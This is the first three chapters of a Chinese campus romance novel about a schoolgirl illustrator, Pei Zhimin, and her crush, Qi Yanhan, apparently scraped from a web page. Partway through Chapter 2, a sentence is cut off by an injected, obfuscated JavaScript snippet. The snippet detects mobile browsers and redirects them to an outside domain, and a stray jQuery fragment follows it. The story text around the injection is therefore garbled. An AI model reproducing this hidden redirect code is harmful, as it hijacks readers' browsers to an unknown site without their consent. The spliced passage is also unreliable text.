《远山温柔》 1. 第1章 远山温柔 文/祝明朝 2024.12.1晋江原创首发 「年少遗憾未满的暗恋,空空落进人海,历历得偿所愿来。」 上卷·宇宙中散落的心事 — 二零一四年的暑假,裴知悯过得不太好。 这年她高一升高二,下学期开学就要进行重中之重的分科,裴知悯成绩中等偏上,文理都不差,却也都不拔尖,但较之于理科,她的文科成绩会更稳定些,毕竟,数理化做不出来就只能写个“解”字,政史地还可以挣扎一下。 因此,裴知悯内心是偏向选文的,奈何裴振和苏英坚信那句“学好数理化,走遍天下都不怕”的至理名言,一致认为读理才有出路,在父母的极力劝说下,她还是转身投入了理科的麾下。 南礼中学作为百年老校,竞争十分激烈,尤其是在高手云集的理科,一分之差,名次就可能相隔大半页纸,裴知悯那算不得出众的理综分数放在其中,赢面只有三分。 苏英未雨绸缪,看上了暑假这个弯道超车的好时期,二话不说就给她报了补习班,一天五节的补课还是挺折磨人的,更别提一堆的作业和考试了,裴知悯只能在狭小的时间罅隙中提笔画稿。 盛夏的雨后,窗沿残留的水珠正一滴连着一滴地往下坠,滴答声轻细,揉在教室里空调的呼声里,就像跌入虚空之中,悄然消寂。 这节课是物理,白板上摆着一道重力题,裴知悯之前做过这种类似的题目,答案很快就算了出来,她无所事事,干脆画起了画。 刚拿出速写本,一阵湿热的风就穿过绿影摇坠的窗,吹翻了几张空白页,裴知悯赶紧用手肘按住画纸,抚平被卷起的弧度后,她一手撑着下颚,一手勾勒起了人物轮廓,签字笔在纸页上肆意游走,简单几笔,就有了大致外形。 笔声沙沙之中,渐渐有异动冒出头来,大家都想时针快点指到四,好彻底结束这场漫长的战役,可躁动还没来得及发酵,就被忽然响起的讲课声扼杀了。 声音折断了刻画细节的笔尖,裴知悯立马把本子放远,回到课上来。 今天是假期补习的最后一天,到了点,这层楼就响起了高昂的欢呼,欢欣拥挤的人潮紧接着涌出,一派疯狂。 裴知悯没去赶这最人挤人的一趟,慢腾腾地把笔装进笔袋。 喻书显然是外面那类人中的一份子,不过一分钟就收好了东西。 “咱这么久的革命友谊到此就要告一段落了,你别说,”喻书笑得开朗,靠在空桌边上倾身过来,装模作样地说,“我还有点舍不得你呢。” 裴知悯听着她口是心非的话,忍不住笑出了声。 “诶,”喻书站直身体,打听道,“你后面打算干嘛?” 裴知悯想了想,说:“做作业。” 一猜就是这答案,喻书表情没多大意外,她随手翻开了桌角的速写册来看,末尾,是那张没画完的人物线稿。 纸上的男人很俊气,衣襟微敞,懒懒地依着一点栏杆,侧目在笑。 寥寥的线条烘托不出什么氛围感,人物帅得很单纯。 喻书点了点这页,好奇问:“这是给准备给哪家杂志画稿啊?” 初三的寒假,裴知悯偶然在一本杂志中看见画稿招集信息,她试着画了一版,没想到投出去后,运气顶好地被录用了,后来,她就开启了投稿之路,经历过石沉大海的前期,现在也算迎来了柳暗花明。 “不是,”裴知悯看都没看去一眼,“刚刚课上随便画的,废稿,不好看。” 心血来潮的作品,达不到拿去商用的水平,一般放久了,就是进垃圾桶的命运。 “这张挺好啊,”喻书这个门外汉,像个老师似的举起来左右观看,评价道,“人物姿态和表情画得都挺到位,整体有一种简单凌厉的帅。” 说完了画,她还不忘夸一夸执笔的人:“随便画画都这么出色,你这潜力无限啊。” 裴知悯扭头望了眼线稿,喜悦地笑了笑。 看够了,喻书把速写本递回去,她瞥了眼手表,不由催促了句:“你快点,晚了就要错过公交了。” “好,”裴知悯将本子塞进包里,却忽然感觉不对。 遭了,忘记和喻书说了。 “阿书,”她扭头看过去,歉然道,“你先走吧,我要去趟邮局。” “又去拿样刊吗?”喻书随口一问。 裴知悯点头“嗯”了下。 每次画稿被录用,杂志社都会给画师寄来一本样刊,这两年来,家里积攒了不少。 喻书的眼睛亮了亮,拍拍她的肩膀:“可以啊,裴大画师!” 裴知悯不好意思地抿唇一笑。 “这是暑假的第几本了?” 海绵里挤水般地画,效率很低,四十多天里只完成了三张,所幸,三张投完都有回音。 “第三本。” 喻书给她竖起了个大拇指:“厉害。” 邮局和回家不顺路,喻书没勉强,先行一步了,走到门口,她忽地回头问:“知悯,你带伞了吗?” 裴知悯摇摇头。 喻书望了望外面阴沉的天,提醒道:“天气不好,你拿了样刊早点回去。” “好。” 喻书一走,教室里就只剩裴知悯一个人了,她三两下将书装好,奔向楼梯,下到二楼,出口处走出两个男生,一高一低。 裴知悯放缓脚步,跟在他们后面。 矮个子男生踢了下栏杆,满腔激情:“我就不信了!上了这么久的补习班,下学期我还能是倒数第一。” “得了吧,”高个男笑他,“说得好像你多认真似的,课上的觉白睡了?” 那人一下就被打回了原形,长叹一声,仰头望天:“我怎么才能变成那种随便学学就考贼好的学霸啊!” 旁边的人给了他一下,轻嗤:“想得还挺美,你以为你是砚哥啊!” 被打的那人摸了摸后脑勺,很有自知之明:“我哪比得上砚哥,你就算把答案放在我面前,我都不一定抄得明白。” 高个子男生笑得猖狂,揽上他的肩膀,很讲义气:“没事,哥们陪你逆袭。” 矮个子听完,更糟心了,别开他的手往前走。 “我算了下,”那人笑嘻嘻地追上去,狠起来连自己都说,“我们两个人的分加起来,倒是和祁砚寒的有的一拼。” 骤然听见这三个字,裴知悯心脏都多跳了一拍,通风口突然溜进来了一股风,桎梏了她向下迈的脚。 矮个子男生回的什么她没听见,只是回神之后,两人还是谈笑风生的样子。 到了底层,他们朝着另一个方向走去,笑声愈来愈远,散在了空中。 裴知悯深呼一口气,提了下肩上的帆布包,跑进湿润又带着清香的空气里。 — 八九月,正是桂花盛开的时节。 南城刚刚下过一场雨,路面的低洼盛满了雨水,浅浅的水面上,还零星地浮着几缀桂花。 潮汽未干的街,铺陈一地的簌簌浅黄之中,闪过了一抹轻快的绿。 踏进邮局时,裴知悯身上还沾染着似有若无的桂花香,她抖了抖裙子上的水珠,去到前台,礼貌地说明来因。 工作人员很负责,利落地找出信件,让她签收。 裴知悯拆开包裹,珍视地将那本七月刊的《惜时》杂志装进包里,与此同时来的,还有五百块钱稿费。 拿着新鲜出炉的红钞票,裴知悯雀跃的心都快要跳出来了,天色不算晚,她忽然没了回家的念头,方向一转,坐上了开往城南的公交。 城市的街景缓慢往后倒退,裴知悯翻开杂志,在其中一页里看到了自己画的小说背景图,右下角有一排小字,是关于画者介绍的,上面印着两个字的铅字。 二十分钟一晃而过,公交车下来,穿过一条街,才会到那家名为“好久不见”的书店。 好久不见,南城几大出名的书店之一,据说这家店最初叫“此生不见”,许是因为这名儿,书店很少有顾客,后来,店主将名字改成了“好久不见”,生意一下就好了起来。 那是另外的故事了,裴知悯只听说了这三言两语。 她当然不知道,这短短八个字,概括了店主一生的爱情。 进到店里,裴知悯没先去买辅导资料,而是随意在青春杂志那片逛着,行至半途,她看到了和自己帆布包里一样的书。 全面发行的刊物,能被好多人看到。 喜出望外的傍晚,裴知悯买了一套理综试卷,还有一本绘画书,去了前台结账。 买完单,她推开店门,外面不知什么时候又下起了 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惊喜的际遇,匆匆得像没发生过一样,酸涩的浪潮不断翻涌,将人弄得惆怅又恍惚。 隔壁的空座,猛然闯进了股凛冽的气息,应是来了过客。 裴知悯下意识抬眸,正好和祁砚寒的目光在空中撞上。 “这儿有人?”男生看见两个座位的中央放着包,客气又疏离地询问了句。 室内光线暖白,映照出少年冷峻的脸,他身上一片冷意,漆黑的发梢上还沾着细密的水珠。 他也是来这躲雨的? 裴知悯愣住一瞬,旋即把帆布包往自己这边扯了扯,轻声说:“没有。” 而后,他顺理成章地成了这位置的主人。 玻璃窗上,映着两道并排而坐的糊影,裴知悯面向着街,打着看行人的幌子,眼神偷偷移到右边的那抹白上。 男生戴着一只耳机,手机横屏,看样子应该在打游戏,她不自觉地看向那双握着手机的手,指节修长,冷白骨感,比漫画上的还漂亮。 就在她盯着那双手出神之际,祁砚寒倏地抬起了头,两人的视线在镜中径直对上,裴知悯慌乱地移开眼,赶忙低下脑袋画稿。 祁砚寒没在意这一秒钟的事,见外面的雨依旧绵密,接着玩起了这把游戏。 天色在不知不觉中暗沉下来,裴知悯早画完了画,却还假装在勾细节。 下午六点,大家都下了班,店里的人慢慢多了起来,进进出出的,门口的风铃被扰得清脆作响,休息区坐了不少人,有人在听歌,有人在谈论文学和生活。 还有,他也在这。 这时光太难得,裴知悯舍不得走。 这边,男生手指快速按了下屏幕,连着几局都输了,他烦躁地把手机往桌上一撂,垂眸呼了口气。 那俩傻子,打得是个什么玩意儿,祁砚寒把手机摸过来,正想讨伐他们,抬眼却发现窗外的雨已经停了。 算了。 他起身打算离开,侧身时幅度过大,手肘不小心碰到了一旁的帆布包,一本杂志落滑落出来,“啪”的一声,掉在地上。 裴知悯被这声响吓了一跳,男生快速弯下腰,捡起递来,“抱歉。” “没关系,”她懵懵地伸出手。 杂志背面朝上,裴知悯翻过来才看见,书面被潮湿的脚迹弄脏了。 她心疼地蹙眉,拿手擦了擦。 瞧见女孩子这模样,祁砚寒看了眼那被洇湿的封面,同她商量:“我赔你一本。” 裴知悯抬起头看他,男生神情很淡,就事论事地说起处理办法。 “不用不用,”她急忙摆手,抚了抚书面说,“干了就好了。” 祁砚寒默了下,想换个方式补偿,眼神不经意扫过她的桌面,路过那张线稿时,微微一顿。 “真没事。”见他不说话,裴知悯大气地笑笑。 祁砚寒看了面前的人两秒,没再勉强,把手机揣进兜里就离开了。 男生身高腿长,走路带风,裴知悯望着他宽阔坦荡的背影,心神悸动。 没多久,他就走到了门口,无尽深蓝的街上,车水马龙,人海里相逢的人,终究要回归人海。 风铃声响的那刻,动了心的人,仍旧动了心。 2. 第2章 少年早已淡出她的眼,裴知悯收回目光,抬眼瞥见墙上的钟,才发现快七点了。 和他在萍水里的相逢总是短暂,也总是让人贪恋。 裴知悯吸了一口气,利索地收好画本,走出书店,夜色均匀地摊开来,风里有桂花香气,吹得人很舒服,她站在路边,拦了辆出租车坐上去。 到家是半个小时后的事情了,屋子里飘着饭菜香,油烟声还在滋滋地响。 “妈,我回来了。”裴知悯朝里面喊。 没两秒,苏英端着盘青菜从厨房里走出来,眺向她问:“今儿怎么这么晚才回来?” 裴知悯在门口换了鞋子,避重就轻地解释说:“去了趟书店,正好下雨了,我没带伞,就等了会。” “买书了?”苏英看她又是帆布包,又是书袋的,追问道。 “嗯。” “买了些什么?” “就是一套理综卷子,”裴知悯攥紧了手里的透明袋子,末了,补充道,“还有本绘画书。” 苏英默了默,终究没说什么,只让她赶紧放下东西来吃饭。 裴知悯照做,再出来时桌上早已摆好了菜,两副碗筷工整地放着,她洗过手,在苏英对面坐下。 “快吃吧,上了这么久的补习班,这几天就好好休息。”苏英给她夹了块红烧排骨,当妈的看见自家姑娘瘦了一圈,疼都在心里。 裴知悯没有动,环顾了圈家里,没看见裴振的影子。 “妈,我爸呢?” “还没回来,”苏英抬了抬下巴,示意她动筷子,“我们先吃,不用管他。” “哦。”裴知悯慢吞吞地嚼完这块排骨。 两人一时无言,咽完排骨,裴知悯用筷子戳了戳碗底,试探地问:“妈,你和爸……是吵架了吗?” 裴振和苏英结婚好多年了,争吵不是没有,但这几年尤为频繁。 裴知悯害怕,今天也是因为吵架。 苏英愣了一秒,这孩子,胡思乱想些什么。 “没有,”她都气笑了,“你爸临时要加个班,我给他留了菜的,他回来热一热就行。” 没吵架就好,裴知悯放下心来,低头吃起了饭。 母女俩坐在一张餐桌上,话题总是绕不开学习。 “补完课,数学感觉怎么样啊?” 裴知悯埋头吃饭,闷闷说:“还行。” “有把握突破一百四吗?”她接着问。 作为独生女,苏英多少对裴知悯寄予了些期望,可是,高中的数学题变幻莫测,这题刚会,下次换个方式出现,就又可以难倒一大片人。 真没把握,裴知悯不敢吭声。 苏英见状,叹了口气说:“没事,再接再厉吧。” “嗯,”裴知悯顺从地应下来。 聊完这个,苏英忽然说起:“你那个画稿——” 她母亲刚起了个头,裴知悯的心就悬了起来,比起画画,苏英更在乎她的学习成绩,升入高中之后,她就有意地敲点她,不要把太多精力放在上面,以免耽误学习。 察觉到苏英的态度转变,裴知悯平常画稿,总会特意避开她。 注意到她绷紧的肩膀,苏英制止的话风一转,变成了同意:“你想画就画吧。” 裴知悯意外地抬起头,苏英面色平静:“做点喜欢的事情放松放松也好。” 下一秒,她又严肃起来:“但要注意时间,别熬夜。” 裴知悯动容一瞬,温温地笑:“好,我知道了。” 吃完饭,她想帮忙收拾,苏英连连拒绝,让她去外边玩去,裴知悯坐在沙发上,看了会电视,等厨房里的乒乒乓乓声响落完,她才回到自己房间。 开了灯,裴知悯将那套理综试卷摆开,这套题有点难,她做了一半,就没有脑细胞再继续下去了。 纠正完答案,裴知悯撑着下巴发呆,寂静的夜里,月凉如水,清凌凌地落下来,照在展开的杂志上。 她把湿掉的书放在了窗口,等它自然风干。 风声细微,轻轻地拂过纱窗,裴知悯望着窗子里的自己,不由想起了傍晚的他。 她捧着半边脸,不值钱地笑,笑完,裴知悯拿出速写本,翻到最后一页,想把在书店窗前遇见他的那一幕画出来。 裴知悯回忆着那幅场景,铅笔勾出街道和长窗,疾驰的车辆,忙碌的行人,都只有个糊影,画上唯一清晰的,是他线条流畅的侧脸,洁净的脖颈,还有筋骨硬朗的手臂,雨打在他的肩背上,有一圈浅浅的光晕。 漆黑的夜色逐渐浓重,裴知悯画完的时候,夜空中流淌着深远的蓝色,星星零碎,她背靠着椅子,仰头数了数,只有十几颗。 夜深人静,裴知悯开门去喝水,客厅的灯还亮着两盏,电视声开得很小,苏英单手撑着沙发扶手,脑袋靠着手背,昏昏欲睡。 “妈,”裴知悯碰了碰她的肩头,柔声道,“去房间睡吧。” 苏英睁开眼,摇头说:“你爸马上到家了,我等等他。” 裴知悯点了点头,拿起茶几上的杯子,倒了两杯水,她渴极,水咚咚地往下灌。 苏英喝了口水,关心起了她:“你怎么还没睡?” 裴知悯冷不丁地被这问呛了下。 她还穿着回来时的那条绿裙子,苏英望一眼时间,笃定地问:“画稿呢?” 裴知悯咬唇点头。 苏英气急:“我刚说完——” 在她母亲发火的前一秒,裴知悯放下杯子就溜之大吉,“我现在就去睡觉。” 跑到转角,她又探回脑袋,跟个大人似的交代:“妈,你也早点睡,晚睡伤身。” 这头,苏英的气刚上来,就硬生生地按捺了下去,她摇头笑了下,继续坐着等人。 没多久,裴振就回来了,苏英唠唠叨叨地给他热饭,陪他说话,裴知悯那时还没入睡,听见家里七零八落的人声,慢慢就笑了起来。 那个夜晚,裴知悯做了个温软香甜的长梦,梦里洒满了银亮色的光辉。 — 不用上课的日子,裴知悯都睡到自然醒,趁着有空,她把那两张手绘图画成了板绘,还上了色,一张投了出去,余下的那张被她保存在了个隐秘的相册里。 那几天,裴知悯除了画稿,就是做卷子了。 蝉鸣渐歇的八月末,喻书打来电话,问她在干嘛。 裴知悯当时正在解一道数学大题,她话音一冒出来,思路全断了。 “在家做题,”裴知悯转了两圈笔,问,“怎么了?” “你下午有空吗?”喻书声调欢快,“出来玩呗,我哥组织了个聚会,有大事告诉你!” 她顺口问:“什么事啊?” 喻书神秘兮兮的,“你来了再说。” 裴知悯看着眼前的试卷,陷入了纠结,“我题还没做完。” “题是做不完的,”喻书一句话就斩断了她的犹豫,动之以理地劝道,“琴弦绷久了会断的,人也一样,不休息怎么成?” 反正这题也解不出来,管他的,裴知悯应了下来。 裴振和苏英都上班去了,家里没人,她换了身衣服,抓过钥匙就出门了。 到了地方,喻书专程出来接她,两人手挽着手,还没上楼,裴知悯就问起了她口中说的大事。 “我哥从一中转过来了,手续刚办下来,”喻书笑着说,“他现在跟我们是一条船上的人。” 喻书的哥哥叫喻臣,和她们同岁,高中在南城一中,裴知悯和他见过几面,还算熟识。 “这么突然?”她惊讶道。 “早有这个打算了,”喻书说明原因,“一中离我家有点远,我哥不想花那么多时间在路上,干脆就转学了。” 裴知悯了然地点了点头。 上到二楼,喻书带着她往包厢走,长长的一段路上,裴知悯忽地停住脚步,不安地问:“来的人多吗?” “没几个,都是他朋友,”喻书看她紧张,搂着她的肩膀说,“没事,有我在呢。” 裴知悯笑笑,和她一起进了包厢,喻臣那时出去拿饮品了,里面只有两个男生,正围在一起打游戏。 桌子上摆满了零食和水果,喻书把积木累起,和裴知悯轮流抽,积木倒在谁手里谁就输,两人紧张地玩着,正起劲时,前台人员突然来了,喊喻书去登记一下人员信息。 她一离开,裴知悯在陌生的环境里就更无所适从了,她局促地坐着,积木被冷落在了一边。 反观对面的男生,手指在屏幕上操作得飞快,呼声热烈,那局游戏裴知悯感觉打了好久,才有男生放了手机。 卫旭这把“死”得冤枉,懊悔地扭过头,就看见裴知悯穿着件V领收腰的白裙子,眉目明净,脊背挺直地坐在那里,像朵枝头新绽的栀子花,清新,莹润。 两人视线对上,他顿了下,友好地来和她打招呼:“你好,我叫卫旭。” 裴知悯微微一笑,礼貌地说:“我叫裴知悯。” 卫旭盯着她看了一会儿,总觉得有点眼熟,“诶,我好像见过你。” 裴知悯抿了抿唇,还没说话,就有人用力拍了卫旭一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793072|158213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 是那天的高个子男生。 “你什么人,”蒋琛看他在勾搭姑娘,笑话道,“遇见好看的,搭讪就算了,不能换个新颖的方式?” 卫旭白了他一眼,忽然就想起来了,恍然地问:“你是不是在××那里补习?” 他说的是暑假那家补习机构的名字,裴知悯诚实地点点头。 “我就说!”卫旭回头看了眼蒋琛,一脸得意,“看吧,什么叫搭讪。” 他转头望向裴知悯,嘿嘿地笑:“这叫缘分。” 蒋琛哼了声,懒得理这货,回到手机上面去了。 “我就说怎么像见过你似的,暑假我也在那儿补课,”卫旭挠了挠头说,随即指了指身旁的人,“哦,还有蒋琛,他跟我在一个班。” 裴知悯淡淡地抿出个笑作为回应。 卫旭性格外向,揪着补习的事就打开了话匣子,话滔滔不绝,裴知悯说得不多,大都是倾听。 没一会儿,喻臣提着一箱饮料进来,往桌上一撂,让他们想喝什么自己拿。 卫旭靠近饮料那边,闻言问道:“你想喝什么?” 裴知悯扫过各种颜色的饮料瓶,最后停在一抹暖色上,她刚准备说橙汁,猛地被一记问截断了。 “你怎么这么殷勤?” 说话的人是喻臣,正狐疑地盯着卫旭看。 对上他冷硬的眼,卫旭满脸无辜,话说得很真:“照顾女生是应该的。” 喻臣盯着他看了好几秒,表情明显在说:信了你个鬼。 卫旭摸了摸鼻子,去蒋琛那儿了。 “知悯,”喻臣给她递来一瓶橙汁,热情道,“随便喝,别客气。” “谢谢喻臣哥。”裴知悯笑着接过。 喻书签完字回来,瞧见有喝的,还没到桌前就开始问:“哥,有可乐吗?” 喻臣皱眉,直接拒绝:“没有。” 喻书不满地瞪向他,她走过来,一眼就看到了桌角的可乐,正要去拿,却被喻臣先一步抢走了,他拿了瓶果汁,拧开瓶盖递过去。 “喝这个,碳酸饮料对身体不好。” 喻书上周才拔了智齿,医生观察了她其他的牙齿情况,嘱咐说要她少喝碳酸饮料。 喻书显然忘了这事,她没有接,捂着耳朵摇头,“不听不听,我哥念经。” 喻臣静静地看着她,一点不为所动,等她闹得差不多了才说:“要么喝橙汁,要么就不喝。” 喻书一听就卸了力气,喻臣把果汁摆在她面前,不容拒绝地说:“听哥的。” 喻书咬了下牙,苦着脸伸出了手。 裴知悯目睹了他们兄妹俩吵闹的全过程,她忽然觉得,这样的拌嘴好像也挺好。 喻书喝了口果汁,悄声跟裴知悯抱怨:“他就比我早出生了两分钟,天天就拿是我哥的名头压我,把我管得都毫无人权了。” 裴知悯笑了下,说了句很烂俗的话:“他也是为你好。” 喻书撇撇嘴,拧紧瓶盖将果汁放远。 包厢里游戏声忽然大了起来,接连响过一阵,就沉寂了下去。 卫旭激动地拍着蒋琛的肩:“你牛啊。” 喻臣瞧这样就知道情况。 蒋琛笑了声,心满意足地放了手机,瞧了圈这里的人,问另一旁的人:“砚哥还没来啊?” 喻臣看了眼腕上的电子表,“应该快了。” 话音刚落,包厢门就被推开了,男生一袭黑色,逆着光,阔步从门口走进来。 裴知悯被光线晃了下眼睛,等缓过来时,他人已到了面前。 男生身量很高,几乎挡完了她的视线,裴知悯看着他冷厉的眉眼,呼吸微滞,不过两秒,她就别开了眼。 来人身上还沾着热气,喻臣给他抛了瓶冰的苏打水,笑怪:“来晚了啊。” “路上堵车,”祁砚寒稳稳接住瓶身,简言解释。 那天,裴知悯就站在喻臣旁边,祁砚寒很难不注意到她,喻臣察觉到他的视线,主动介绍起了他们认识。 那是裴知悯第一次直视他的眼睛,男生眼型狭长,眼里盛着头顶落下来的破碎的光,明亮但也冷淡。 听见他那声清淡磁性的“祁砚寒”,裴知悯的心蓦地颤了颤。 包厢开了空调,出风口正对着她,她背上一片温凉,掌心却冒出了湿汗。 认识完,祁砚寒去了沙发的另一端落座,几个男生凑在一起,有说有笑,热闹得不行。 裴知悯用余光看过去一眼,那人坐在他们之中,笑得随意又散漫。 3. 第3章 他们几个老早就认识了,只是高一时分别了一年,现在聚在一起,话茬一茬接着一茬,都没断过。 祁砚寒没说几句,就懒散地坐着,听他们嬉笑,过了会儿,手机忽然弹出消息。 秦京宁问他去哪儿浪了。 祁砚寒笑了声,点开对话框,还没打字,肩上就来了只手臂,“砚哥,跟女朋友聊天呢?” 喻臣“哟”了一声,笑问他:“什么的时候事儿啊?” 祁砚寒抬眼,眸光扫过蒋琛:“少开玩笑,没女朋友。” 蒋琛笑得风流:“上次站你旁边,个子很高,皮肤很白的那个,不是吗?” “我见过,”卫旭兴奋地加入进来,“长得是真漂亮。” “好像叫……”他回忆了下,“秦…京…” “京”字还没说出口就被祁砚寒打断了,“她不是。” “她不是谁是?”蒋琛给他挖坑,眼神还在往他手机屏幕上瞟。 快速回完消息,祁砚寒关掉手机,拧开苏打水喝了一口,“没谁是。” “话说,砚哥,”卫旭凑过来,好奇地问,“追你的女生这么多,你就没个喜欢的?” 喝完,祁砚寒将水瓶一抛,伴随着冷淡的一声“没感觉”,瓶身稳当地立在桌上。 得,这人眼光高得不行,那些怕是都入不了他的眼。 蒋琛耸了下肩,意味深长地感慨了句“有人的真心怕是要付之东流了”,就撤回了搭在他肩头的手。 冰镇饮料在掌心留下一串濡湿,祁砚寒没理他的话,抽了张面巾纸,慢条斯理地将手上的水珠擦净。 “你这行情挺好啊。”喻臣呷着笑,碰了碰他的手肘。 “一般。”祁砚寒淡定道。 “扯吧你就,”卫旭反驳,“学校里喜欢你的妹子还少了?” 他说起这个很是来劲,“他的情书都有递到我这里的,让我帮忙转交,托他的福,我人生第一次体验到了被女生簇拥的感觉。” “我这还不是有,”蒋琛拍一拍大腿,附和道,“我以为这么多封信里怎么都该有我的一封吧,结果,真是我自作多情了,全他大爷的是给你的。” 说到末尾,蒋琛脸上满是“恶狠狠”。 祁砚寒耐心听完,闷声一笑,态度很好道:“实在对不起,给您二位添麻烦了。” 说得真欠,卫旭和蒋琛双双给了他个白眼。 喻臣打量了下身旁的这人,不得不说,祁砚寒长了张极为好看的脸,轮廓流畅,鼻梁挺直,帅得三百六十度无死角。 “啧,”喻臣眯眼看他,“你这张脸,的确有吸引女生的资本。” 祁砚寒看了眼他,笑着道:“你也不赖。” “那是。”喻臣回得一点不带犹豫。 包厢里的人听见,全都笑了。 喻书在旁边小声吐槽,说她哥也真是不谦虚,裴知悯脸上的笑意很淡,此刻氛围愈发热闹,她的余光里,男生姿态闲散,还是随性坦然的模样。 后来笑完,卫旭开始张罗起了唱歌,蒋琛兴致勃勃,准备大展歌喉。 喻臣没什么兴趣,祁砚寒也是一脸兴味索然。 剩下的就只有两个女孩子了。 喻臣猜喻书应该不想唱,遂朝另一个人唤道:“知悯。” 裴知悯沉浸在积木游戏里,骤然听见有人喊自己,立刻扭头应声。 “到。” 女孩子清脆的一声,响在吵闹的包厢里,格外的轻灵抓耳。 另外几个男生不约而同地偏了脑袋。 女生杏眼圆溜水灵,纯真又无辜,像是森林里受惊的小鹿。 瞧见他们四个都在看自己,裴知悯慌了一瞬,眨眨眼问:“怎么了吗?” “没事,”喻臣弯唇,指了指点歌机,“就想问你唱不唱歌。” 裴知悯顿了顿,摆摆手说:“不了不了。” “行。”喻臣没勉强,偏头去问卫旭他们唱什么了。 这边,裴知悯懵然地扭过头,还在想他们那眼神是什么意思。 喻书凑近到她眼前,摸了下她的头顶:“知悯,你是不是有点学傻了。” 裴知悯惊恐地睁大眼:“啊?” 喻书微微挽起嘴角,说:“我哥喊你,你怎么回答得跟军训回话似的。” “不知道的还以为我哥是教官呢。” 裴知悯闷闷地自顾自问:“是吗?” 她后知后觉地反应过来,他们刚才笑话的,不会就是这个吧? 糗大发了。 裴知悯不自觉地低了点头,喻书见状,笑意盈盈地安慰道:“其实你方才那表情,还挺可爱的。” 裴知悯咬着唇,不好意思地一笑。 他们都不唱,这事自然而然地就落到了蒋琛和卫旭头上。 可是这俩各有各的喜好,谁都不想唱对方的歌,争执随之而起。 祁砚寒懒散地靠在沙发背上,没去参与他们之间的斗争,视线稍微一偏,就落到了那边玩笑的女孩子身上。 她们搭的是三乘三的塔楼,玩了一阵后,积木已经叠得很高了,中部基本是空的,只剩最下面几层。 看上去很快就会分出输赢,祁砚寒忽然来了兴致,默默地看她们玩。 两人是轮流抽的,这次该裴知悯了,她观察了下情况,小心翼翼地抽出第三排中间的那根,置于顶层。 祁砚寒目光定定地落在她身上,少女侧颜白净秀气,唇线绷直,动作很是小心。 他勾唇笑了下。 就这么个普通的小游戏,她还挺认真。 由于第三层被架空了,喻书只好去只有两根积木的第二层抽。 积木最终在蒋琛开麦的那句“曾梦想仗剑走天涯”中轰然倒塌。 那两人谁都没让谁,最后换了首许巍的《曾经的你》来唱。 众人都被这突如其来的一声惊到了,齐刷刷地看过去,蒋琛似乎也没料到自己第一句就跑调,顿时僵在了原地。 喻臣刚打开雪碧喝了一口,闻声差点没喷出来,“不是,你给哥几个提神醒脑呢。” “我……”蒋琛尴尬地抓了抓头发,“我……这是紧张。” 他看了眼喻臣,又看向卫旭,此地无银地解释:“紧张懂不懂。” 这几个男生笑而不语。 伴奏声还在放,全方位地环绕在每一寸空气里,蒋琛找补完,不知怎的,包厢就陷入了鸦雀无声的境地。 喻书善解人意,察觉不对,赶忙出来解围说:“这歌主打就是一个洒脱,人家唱得这么潇洒,不是跟歌词挺适配的吗?” 她用眼神示意喻臣:“你觉得呢?哥。” 喻臣干咳了下,带头鼓掌说:“有道理。” 余下的其他人跟着鼓掌,气氛再度欢腾了起来。 等到掌声没落下去后,卫旭重新点开歌曲,自由的前奏响起,蒋琛做了个深呼吸,低沉的嗓音从话筒里渐渐传出—— “曾梦想仗剑走天涯,看一看世界的繁华……” 你别说,蒋琛认真起来,唱这歌儿还挺好听的。 喻臣眼睛一亮,靠近祁砚寒,“这小子刚才真是紧张?” 祁砚寒给了他个“那不然”的表情,“他这叫深藏不露。” 喻臣想起刚才的嘲笑,面色有一瞬的不自然,悻悻地闭了嘴。 卫旭悄悄把包厢的白炽灯关了,只留下了蓝色光线,晚一点,他也加入了歌唱中。 室内流光四溢,璀璨的灯光忽明忽灭,这群人松弛地坐在沙发里,安静地听那两人唱歌。 那一年,他们都还十六七岁,青春辽阔,前途光明。 — 除了那个小插曲,那次的聚会,氛围一直很好,很少有冷场的时候。 他们玩到五六点才散,临走时,大家还是欢声笑语的一片。 这天的天气很好,遥远的地平线上,夕阳沉没了一半,晚霞有点火烧云的意味,层层叠叠的色彩堆在一起,美 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“怎么在你这儿?” “刚刚临走时看见的,本来想交给前台,”祁砚寒说,“没想到你先回来了。” 找到了钥匙主人,祁砚寒也没去前台,同她一起下楼了。 夕阳西下的时刻,墙壁落下了两道并肩而行的剪影,浪漫得像是电影画面。 下过这层楼,还要走一段路才会到公交车站。 裴知悯走在他的身侧,掌心的钥匙,似乎还残留着他手心的余温。 她看了眼那个乖萌的钥匙扣,又偷偷抬头看了眼身侧的男生,忽而笑了。 裴知悯很少有丢三落四的时候,记忆里上一次丢钥匙,还是两年前,那段时间裴振出差去了,苏英又忙着工作,钥匙没了,她也不敢打电话去麻烦他们,只能红着眼原路返回去找。 那天下着很大的雨,她撑着伞,在家和绘画班的沿途寻了一路,却一无所获。 裴知悯心如死灰,不抱希望的,回程接着找,磅礴的雨,把她黯然的心淋了个湿透。 走过转角,裴知悯路过家便利店,店员忽地出声喊住了她,问她是不是在找什么,裴知悯照实说了。 店员一拍手,说可算是找见失主了。 接过钥匙,裴知悯连声道谢,感激得眼泪都要掉下来了。 店员连连挥手,说是别人捡到的,那人还等了一会,见实在没人来,才把东西放在了收银台。 她往外探了两眼,伸手点了一处说:“哦,就是那个男生。” 裴知悯转头看去,茫茫雨幕下,他就站在路边。 后来仔细想想,少女的情愫,大概就是从那一刻萌生的吧。 只是没想到,同样的事情再次发生,拾得她家钥匙的人,还是他。 胭脂色的天空中,一架飞机穿过,轰鸣声拉回了裴知悯游离的思绪,走到这条路的尽头,祁砚寒忽然问道:“杂志干了吗?” 裴知悯眼瞳遽然睁大,他居然记得? “忘了?”见她表情惊讶,还带着些些茫然,祁砚寒接着补充,“那天在书店,我弄掉的那本。” 风里带着清幽的桂花香,吹乱了他们的衣角和头发。 裴知悯理了理脸侧的发丝,轻声说:“干了。” 祁砚寒淡淡地“嗯”了声:“那就好。” 